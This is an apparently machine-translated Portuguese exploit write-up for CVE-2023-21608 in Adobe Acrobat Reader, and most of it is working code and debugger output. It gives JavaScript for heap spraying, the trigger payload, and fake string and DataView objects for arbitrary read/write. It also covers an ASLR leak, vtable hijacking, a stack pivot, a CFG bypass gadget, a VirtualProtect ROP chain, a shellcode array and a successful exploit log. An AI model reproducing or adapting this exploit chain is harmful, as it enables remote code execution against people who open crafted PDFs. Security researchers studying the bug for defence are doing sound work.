Encontramos um bug causando uma gravação arbitrária em nosso endereço controlado
*(*ecx) = some_32_value, onde ecx é um ponteiro controlado pelo usuário.
Estratégia de conquista
Pulverize muito ArrayBuffer para obter alocação em endereço previsível como 0x20000048
Falhando o LFH com nosso padrão fornecido para corromper o ArrayBuffer em um endereço previsível
Vulnerabilidade de gatilho para usar o buffer liberado e atrapalhar o comprimento do ArrayBuffer
Use um ArrayBuffer corrompido para criar uma string falsa para obter uma primitiva de leitura arbitrária
Use leitura aleatória de string falsa para criar DataView falso para obter primitivas de leitura e gravação arbitrárias
Corrompa a mesa virtual do campo para assumir o controle da execução
Contorno CFG. Execução do shellcode
Recuperação de objetos danificados e recuperação limpa
Pulverizando um ArrayBuffer
var SPRAY = [];
for(var i=0; i<0x2000; i++) {
SPRAY[i] = new ArrayBuffer(0x10000-24);
const typedArray = new Uint32Array(SPRAY[i]);
typedArray[0] = 0x41424344;
typedArray[1] = 0x41424344;
}
Usando o script acima, podemos obter um ArrayBuffer alocado em um endereço conhecido, como 0x20000058.
Localizando o ArrayBuffer
Usando marcadores mágicos, podemos localizar o buffer no heap de memória, o que nos ajuda a encontrar o construtor que aloca o ArrayBuffer no Adobe Reader.
Observação: a alocação de ArrayBuffer ocorre no código EScript.api.
Por exemplo, ao alocar um ArrayBuffer de tamanho 0x1020, procurar na memória um marcador mágico e determinar quem alocou a memória pode nos ajudar a encontrar o construtor ArrayBuffer.
0:015> s -d 0 L?0xffffffff 0x41424344
0x4ef0cc00 41424344 45464748 00000000 00000000 DCBAHGFE........
0:015> !ext.heap -p -a 0x4ef0cc00
address 4ef0cc00 found in
_DPH_HEAP_ROOT @ 9521000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
4eed11a0: 4ef0cbf0 410 - 4ef0c000 2000
6ddea8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7714ef0e ntdll!RtlDebugAllocateHeap+0x00000039
770b6150 ntdll!RtlpAllocateHeap+0x000000f0
770b57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
770b53fe ntdll!RtlAllocateHeap+0x0000003e
767919c7 ucrtbase!_calloc_base+0x00000037
69481bd5 EScript!sub_10011BAE+0x00000027
695a15ce EScript!sub_1013153C+0x00000092
695a1a4e EScript!sub_10131A2C+0x00000022
695a4bce EScript!sub_10134B68+0x00000066
695a1d75 EScript!sub_10131D10+0x00000065
694a95b0 EScript!sub_100394E9+0x000000c7
694a3505 EScript!js_Interpret+0x00001056
694a246b EScript!sub_10032412+0x00000059
694a237b EScript!sub_10032315+0x00000066
694a22b0 EScript!js_Execute+0x0000007d
6948b6b0 EScript!JS_EvaluateUCScriptForPrincipals+0x0000008b
694ca9c6 EScript!JS_EvaluateUCScript+0x0000004d
694ca6cb EScript!ESExecScript+0x0000010b
Verificação de memória de apoio do ArrayBuffer (bloco do buffer do array + tamanho do cabeçalho (0x10)).
0:015> ? 410
Evaluate expression: 1040 = 00000410
0:015> ? 4ef0cc00 - 4ef0cbf0
Evaluate expression: 16 = 00000010
0:015> dc 4ef0cbf0
4ef0cbf0 00000000 00000400 3cc31450 00000000 ........P..<.... +0x4: length, +0x8: typed array ptr
4ef0cc00 41424344 45464748 00000000 00000000 DCBAHGFE........ contents starts here
4ef0cc10 00000000 00000000 00000000 00000000 ................
4ef0cc20 00000000 00000000 00000000 00000000 ................
4ef0cc30 00000000 00000000 00000000 00000000 ................
4ef0cc40 00000000 00000000 00000000 00000000 ................
4ef0cc50 00000000 00000000 00000000 00000000 ................
4ef0cc60 00000000 00000000 00000000 00000000 ................
0:015> ? 0x400
Evaluate expression: 1024 = 00000400
Usando o ponto de interrupção WinDbg no código do construtor, podemos encontrar os endereços onde o ArrayBuffer está alocado.
bp Escript+0x131a4e ".printf \"[ArrayBuffer alloc] %p \\\n\", eax; gc"
Agora vamos ver como a pulverização de ArrayBuffer realmente se parece em um exploit.
function sprayArrBuffers()
{
for (var i=0; i<0x1500; i++)
{
bufs[i] = new ArrayBuffer(ALLOC_SIZE);
const uintArr = new Uint32Array(bufs[i]);
for (var k =0; k<16; k++)
{
uintArr[k] = 0x33333333;
}
uintArr[0] = arrBufPtr + 8; //first deref a = *ecx
uintArr[1] = 0x41424344; //map size
uintArr[2] = 0x41424344;
uintArr[3] = ARR_BUF_BASE - 4;
// fake string for arbitrary read
uintArr[FAKE_STR_START] = 0x102; //type
uintArr[FAKE_STR_START+1] = arrBufPtr+0x40; // buffer
uintArr[FAKE_STR_START+2] = 0x4;
uintArr[FAKE_STR_START+3]= 0x4;
// fake dataview for arbitrary write
uintArr[FAKE_DV_START] = 0x77777777;
delete uintArr;
uintArr = null;
}
for (var i=0; i<0x10; i++)
{
arrs[i] = new Array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1,2, 3, 4, 5, 6, 7, 8, 9, 10, 11,12,13, 14, 15, 17,18, 19, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25,20,21,22,23);
arrs[i][0] = 0x47484950;
arrs[i][1] = targetStr;
arrs[i][2] = targetDV;
for (var k=3; k<5000; k++)
{
arrs[i][k] = 0x50515051;
}
}
}
Alocação de ArrayBuffer no endereço previsto 0x20000048 com sucesso
0:011> dc 0x20000048
20000048 00000000 0000ffe8 135c4348 00000000 ........HC\..... +0x4: length, +0x8: typed array
20000058 20000060 00000000 00000000 20000044 `.. ........D..
20000068 33333333 33333333 33333333 33333333 3333333333333333
20000078 33333333 33333333 33333333 33333333 3333333333333333
20000088 33333333 33333333 33333333 33333333 3333333333333333
20000098 00000000 00000000 00000000 00000000 ................
200000a8 00000000 00000000 00000000 00000000 ................
200000b8 00000000 00000000 00000000 00000000 ................
Ao preparar o heap com nosso padrão de endereço previsível e explorar a vulnerabilidade, vemos que o comprimento do ArrayBuffer foi corrompido/alterado.
// encoding %u0058%u2000% at offset required by vulnerability
const code =
"%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u0058%u2000%u5353%u5454%u5555%u5656%u5757%u5858%u5959%u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272%u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u8383%u8484";
0:023> dc 20000048
20000048 00000000 247c3308 243722f0 00000000 .....3|$."7$.... +0x4: length, +0x8: typed array
20000058 20000060 00000000 00000000 20000044 `.. ........D..
20000068 33333333 33333333 33333333 33333333 3333333333333333
20000078 33333333 33333333 33333333 33333333 3333333333333333
20000088 33333333 33333333 33333333 33333333 3333333333333333
20000098 00000000 00000000 00000000 00000000 ................
200000a8 00000000 00000000 00000000 00000000 ................
200000b8 00000000 00000000 00000000 00000000 ................
O comprimento do ArrayBuffer é mutilado pelo valor do ponteiro, permitindo a leitura relativa além dos limites do heap. Depois que a vulnerabilidade é acionada, o ArrayBuffer corrompido pode ser encontrado usando o código abaixo.
for (var i=0; i<bufs.length; i++)
{
if (bufs[i].byteLength != ALLOC_SIZE)
{
console.println("[+] corrupted array buffer found at " + i + " : length: " + bufs[i].byteLength + " : buf length: " + bufs.length);
...
}
}
Primitivos de leitura/gravação arbitrários transbordantes
Depois que os primitivos de leitura/gravação fora dos limites são alcançados no ArrayBuffer, o segundo Array JavaScript é usado para criar a primitiva addrOf. Para poder ler-escrever a partir do Array, um conjunto de arrays de comprimento semelhante ao ArrayBuffer é pulverizado de forma que a alocação do array ocorra imediatamente após a pulverização do ArrayBuffer, conforme mostrado abaixo.
-------------------------------------------------------------------------------
| | | | | | | | | | |
|arrbuf_1|arrbuf_2|arrbuf_3|.........|arrbuf_n|...|array_1|array_2|...|array_n|
| | | | | | | | | | |
-------------------------------------------------------------------------------
Acessando o ArrayBuffer, podemos encontrar o início do primeiro array e usá-lo para criar outro conjunto de primitivos.
addrOf
endereço de vazamento de qualquer objeto JavaScript
poi
valor de vazamento em determinado endereço (essa forma inicial de AAR é necessária para criar AAR/AAW completo)
AAR
lê valor arbitrário em determinado endereço
AAW
escreve valor em determinado endereço Espalhamento de
grande matriz
Precisamos alocar alguns arrays grandes logo após nosso ArrayBuffer pulverizado. Depois de quebrar o comprimento do ArrayBuffer, podemos encontrar esse array e quebrar o array vizinho para primitivas de leitura e gravação arbitrárias. No entanto, as realocações de array JavaScript parecem crescer em um padrão quando tentamos adicionar grandes elementos ao array em um loop
for(var k = 0; k<N; k++) {
_arr_.push(0x41414141);
}
Após alguns testes, notamos que o comprimento da realocação pode ser parcialmente controlado alocando um Array com o conteúdo inicial
o conteúdo inicial é ajustado após várias iterações de teste
ser maximizado o suficiente para ser alocado imediatamente após o ArrayBuffer ser pulverizado
var _arr_ = new Array(1, 2, 3, 4);
Pulverização de matriz controlada
Uma matriz com um inicializador deve começar com a alocação 0x003f0
Em seguida, a inicialização do elemento dentro do loop for deve aumentar o tamanho da alocação usando reallocs.
O aumento no comprimento da matriz ocorre como: 0x003f0 -> 0x007d0 -> 0x00f90 -> 0x01f10 -> 0x03e10 -> 0x07c10 -> 0x0f810.
A realocação com tamanho 0x0f810 deve colocar a alocação do array logo após o último ArrayBuffer do nosso spray.
Quando lemos fora dos limites de um ArrayBuffer corrompido, devemos ser capazes de ler o conteúdo do array sputtered
for (var i = 0; i < 0x10; i++) {
arrayRefs[i] = new Array(
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60,
61, 62
);
arrayRefs[i][0] = 0x47484950;
arrayRefs[i][1] = targetStr; // string object, we use for arbitrary read
arrayRefs[i][2] = targetDataView; // DataView we use for crafting AAR/AAW
for (var k = 3; k < 5000; k++) {
arrayRefs[i][k] = 0x50515051;
}
}
A distribuição final da matriz deve se parecer com a abaixo.
for (var i = 0; i < 0x10; i++) {
arrayRefs[i] = new Array(
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60,
61, 62
);
arrayRefs[i][0] = 0x47484950;
arrayRefs[i][1] = targetStr; // string object, we use for arbitrary read
arrayRefs[i][2] = targetDataView; // DataView we use for crafting AAR/AAW
for (var k = 3; k < 5000; k++) {
arrayRefs[i][k] = 0x50515051;
}
}
Onde 0db3c420 ffffff85 é targetStr e 0dda27c0 ffffff87 é targetDataView.
A
primitiva addrOf A primitiva addrOf permite que o endereço de qualquer objeto JavaScript seja vazado pela leitura do endereço do objeto armazenado no array pulverizado usando primitivas fora dos limites. CorruptedTypedArr é um array digitado com tamanho ArrayBuffer corrompido e arrStart é o índice onde o array JavaScript está desde o início do ArrayBuffer corrompido. modify_arr é um array JavaScript de arrays pulverizados que usaremos para confundir e vazar endereços.
function addrOf(obj)
{
modified_arr[0] = obj;
addr = corruptedTypedArr[arrStart+4];
return addr;
}
Primitiva de leitura arbitrária
A primitiva poi nos permite ler um valor em um endereço arbitrário.
Para obter a primitiva poi precisamos seguir alguns passos:
Selecione uma string no escopo global, por exemplo, var targetStr = "Hello";
Pulverize o objeto string acima como um elemento nos arrays pulverizados arrs [1] = targetStr;
[*] Pulverize a estrutura de string falsa dentro do ArrayBuffer pulverizado
uintArr[FAKE_STR_START] = 0x102; // type
uintArr[FAKE_STR_START+1] = arrBufPtr+0x40; // buffer
Depois de atingir o estouro primitivo, atribuímos a string falsa ao endereço do objeto string pulverizado do array uintArr[arrStart+6] = FAKE_STR;.
Agora o targetStr que foi pulverizado junto com o Array pode ser confundido com uma string falsa.
A leitura de valores de um determinado endereço arbitrário é obtida definindo addr para o ponteiro falso do buffer de string e, em seguida, simplesmente lendo o objeto targetStr de nosso Array modificado. Isso nos permitirá ler valores de endereços arbitrários.
function s2h(s) {
var n1 = s.charCodeAt(0)
var n2 = s.charCodeAt(1)
return ((n2<<16) | n1) >>> 0
}
function poi(addr)
{
// leak values at addr by setting it to string pointer
corruptedTypedArr[FAKE_STR_START+1] = addr;
val = s2h(modified_arr[1]);
return val;
}
Primitivas aleatórias de leitura/gravação
Assim que atingirmos o limite de leitura/gravação do ArrayBuffer, podemos usar as primitivas addrOf e poi para executar leituras aleatórias. Com essas primitivas, podemos obter primitivas arbitrárias completas de leitura e gravação usando o objeto JavaScript DataView.
Para criar primitivas de leitura/gravação arbitrárias usando um objeto DataView, faça o seguinte:
Crie um objeto DataView com um ArrayBuffer válido e defina seu valor inicial:
var targetDV = new DataView(new ArrayBuffer(0x64));
targetDV.setUint32(0, 0x55555555, true);
Pulverize o objeto targetDV como um elemento em uma matriz de matrizes pulverizadas:
for (var i=0; i<0x10; i++)
{
...
arrs[i][2] = targetDV;
...
}
Criamos um objeto DataView falso pulverizando o ArrayBuffer e definindo o número mágico no início da pulverização.
uintArr[FAKE_DV_START] = 0x77777777;
Depois de atingir os primitivos fora dos limites, atribua o DataView falso ao endereço do DataView espalhado.
uintArr[arrStart + 8] = FAKE_DV;
Clone o conteúdo do DataView real no DataView falso usando as primitivas que você criou anteriormente.
Por fim, para executar leitura/gravação aleatória, defina um ponteiro ArrayBuffer falso para o DataView e leia/grave do DataView
function AAR(addr)
{
corruptedTypedArr[FAKE_DV_START + 20] = addr;
return modified_arr[2].getUint32(0, true);
}
function AAW(addr, value)
{
corruptedTypedArr[FAKE_DV_START + 20] = addr;
modified_arr[2].setUint32(0, value, true);
}
Execução do
shellcode Para executar o shellcode, usamos primitivas aleatórias de leitura/gravação (AAR/AAW) para ignorar ASLR e CFG.
O procedimento é o seguinte:
Ignore o ASLR vazando o endereço base AcroForm.api do objeto de campo
var AcroFormApiBase = AAR(AAR(addrOf(testField) + 0x10) + 0x34) - 0x00293fe0
vazamento de endereço vtable
var fieldVtblAddr = AAR(AAR(AAR(AAR(addrOf(testField) + 0x10) + 0x10) + 0xc) + 4)
var fieldVtbl = AAR(fieldVtblAddr)
Clone o vtable no heap (a clonagem é necessária porque não temos permissão para gravar no endereço do vtable). Nós o clonamos em um endereço de heap de nossa escolha (selecionado no spray ArrayBuffer) e fazemos outras modificações lá.
for(var i=0; i < 32; i++) {
AAW(arrBufPtr + 0x100 + (i * 4), AAR(fieldVtbl + i * 4));
}
Vamos girar a pilha em nosso heap controlado para executar o shellcode. Vamos preparar uma pilha falsa na pilha com os detalhes necessários conforme mostrado abaixo:
AAW(arrBufPtr+0x100+0x48, AcroFormApiBase+0x6faa60); // CFG gadget = AcroForm!sub_20EFAA60;
AAW(arrBufPtr+0x100+0x30, AcroFormApiBase+0x256984); // 0x6b5e6984: mov esp, eax; dec ecx; ret;
AAW(arrBufPtr+0x100, AcroFormApiBase+0x1e646); // 0x6b3ae646: pop esp; ret;
AAW(arrBufPtr+0x100+4, arrBufPtr+0x300); // our pivoted stack
AAW(fieldVtblAddr, arrBufPtr+0x100); // field vtable
Instale o ROP e execute o shellcode
var rop = [
AAR(AcroFormApiBase+0x007da108), // virtualprotect
arrBufPtr+0x400, // return address
arrBufPtr+0x400, // buffer
0x1000, // sz
0x40, // new protect
arrBufPtr+0x340
];
for(var i=0; i < rop.length; i++) {
AAW(arrBufPtr + 0x300 + 4 * i, rop[i]);
}
var shellcode = [ 0x90909090,
835867240, 1667329123, 1415139921, 1686860336, 2339769483,
1980542347, 814448152, 2338274443, 1545566347, 1948196865,
4270543903, 605009708, 390218413, 2168194903, 1768834421,
4035671071, 469892611, 1018101719, 2425393296 ];
for(var i=0; i < shellcode.length; i++) {
AAW(arrBufPtr+0x400+i*4, re(shellcode[i]));
}
Por fim, invoque o shellcode acessando a propriedade defaultValue do objeto testField.
Control Flow Guard Bypass (CFG) O
Adobe Acrobat Reader tem o CFG ativado por padrão, portanto, não é possível invocar o shellcode diretamente. Versões anteriores de exploits contavam com o uso de módulos não CFG no Adobe Reader para criar a cadeia ROP, mas em versões mais recentes todos os módulos estão incluídos no CFG.
Uma maneira de contornar isso é usar sites de chamadas que não sejam ferramentas CFG. Encontramos várias ferramentas não CFG que podem ser usadas para ignorar o CFG no Adobe Acrobat Reader. Uma dessas funções é sub_20EFAA60, que nos permite chamar um endereço que controlamos armazenando-o no registrador ecx.
.text:20EFAA60 ; int __thiscall sub_20EFAA60(void *this)
.text:20EFAA60 sub_20EFAA60 proc near ; DATA XREF: .rdata:20FF8C11↓o
.text:20EFAA60 ; .rdata:21131674↓o ...
.text:20EFAA60 mov eax, [ecx]
.text:20EFAA62 push 0Dh
.text:20EFAA64 call dword ptr [eax+30h]
.text:20EFAA67 retn
.text:20EFAA67 sub_20EFAA60 endp
Restaurando o contexto
Depois de executar o shellcode, o Acrobat Reader falha porque o contexto apropriado não foi restaurado. Para manter o Adobe Acrobat Reader em execução após o uso:
Restaurando targetStr e targetDV com a string falsa e DataView que foram criados anteriormente.
Restaurando o vtable original que foi capturado para execução de código
Corrigindo qualquer corrupção causada pela corrupção do ArrayBuffer e outros efeitos colaterais dessa corrupção
Recuperação de pilha (isso é feito na parte de recuperação do shellcode)
Restaurando o ESP para o padrão (isso também é feito na parte de recuperação do shellcode)
Fazendo backup dos valores originais antes da corrupção para que possam ser restaurados após a execução do shellcode (isso é mostrado no trecho abaixo).
O trecho abaixo mostra como alguns dos valores originais são copiados antes da corrupção para que possam ser restaurados após a execução do shellcode.
log("[+] Storing recovery context");
AAW(FAKE_STACK_PTR + 0x60, fieldVtblAddr); // original vtable ptr (goes back in ECX)
AAW(FAKE_STACK_PTR + 0x64, fieldVtbl); // vtable funcs ptr
AAW(FAKE_STACK_PTR + 0x68, originalDefaultValFunc); // original defaultVal impl to jump to
AAW(FAKE_STACK_PTR + 0x6c, AAR(ARRAY_BUFFER_BASE + 8)); // ArrayBuffer ptr
AAW(FAKE_STACK_PTR + 0x70, AAR(ARR_BUF_MALLOC_BASE)); // malloc header 0
AAW(FAKE_STACK_PTR + 0x74, AAR(ARR_BUF_MALLOC_BASE + 4)); // malloc header 1
Registro de Exploração
[+] Acrobat Reader Remote Code Execution
[*] Version: 21.01120039
[+] Spraying ArrayBuffer of size: 0xffe8
[+] Grooming LFH blocks of size: 68 count: 4000
[+] Triggering garbage collection
[+] Triggering vulnerability
[+] Finding required objects
[*] Corrupted ArrayBuffer idx: 4604 byteLength: 0x24043250
[*] addrOf Array start idx: 13221884
[*] addrOf Array idx: 0
[+] Gaining arbitrary read & write primitive
[*] Crafting fake DataView: 0x200001d8
[+] Fixing corrupted objects
[*] Typed array pointer
[*] Typed array node pointers
[*] V1 Idx: 4602 address: 0x131cf240 value: 0xd0b8600 correct value: 0xd0b86a0
[*] ArrayBuffer field
[*] Fake string
[+] Finding required modules
[*] AcroForm.api: 0x6ef70000
[*] KERNEL32.dll: 0x769a0000
[*] VirtualProtect: 0x769c04c0
[+] Finding gadgets in AcroForm.api
[*] CFG bypass gadget: 0x6f66aa60
[+] Stack pivot gadgets
[*] xchg eax, esp; ret: 0x6ef8e5e6
[*] pop esp; ret: 0x6ef8e646
[+] Setting up ROP and shellcode
[*] Payload: 0x2459edd8
[^] Executing payload
[+] Exploit duration: 6.172 seconds
A execução da versão de 64 bits
CVE-2023-21608 também afetou a versão de 64 bits do Adobe Reader. No entanto, encontramos dois problemas principais:
O espalhamento de heap não é mais possível em um espaço de endereço de 64 bits. Portanto, não podemos mais confiar na técnica de pulverização ArrayBuffer descrita acima para alocar dados gerenciados em endereços previsíveis. Agora precisamos de um bug de vazamento de informações separado para maior exploração.
Mas encontrar vazamento de informações não é uma tarefa tão difícil. O principal problema que torna esse bug inútil para exploração de 64 bits é que as linhas pulverizadas são usadas como objetos de agregação, onde novas linhas são criadas a partir da string pulverizada. Ao criar uma nova string, os terminadores nulos padrão da linguagem C são levados em consideração. Não podemos usar endereços que tenham dois bytes NULL consecutivos. Isso interromperá a cópia da string e nunca seremos capazes de realocar a memória liberada com um pedaço controlado que tenha o endereço do vazamento de ArrayBuffer. O erro não será mais eficiente e reprodutível. Isso nos limita de explorar esse bug na versão de 64 bits.
Explorar repositório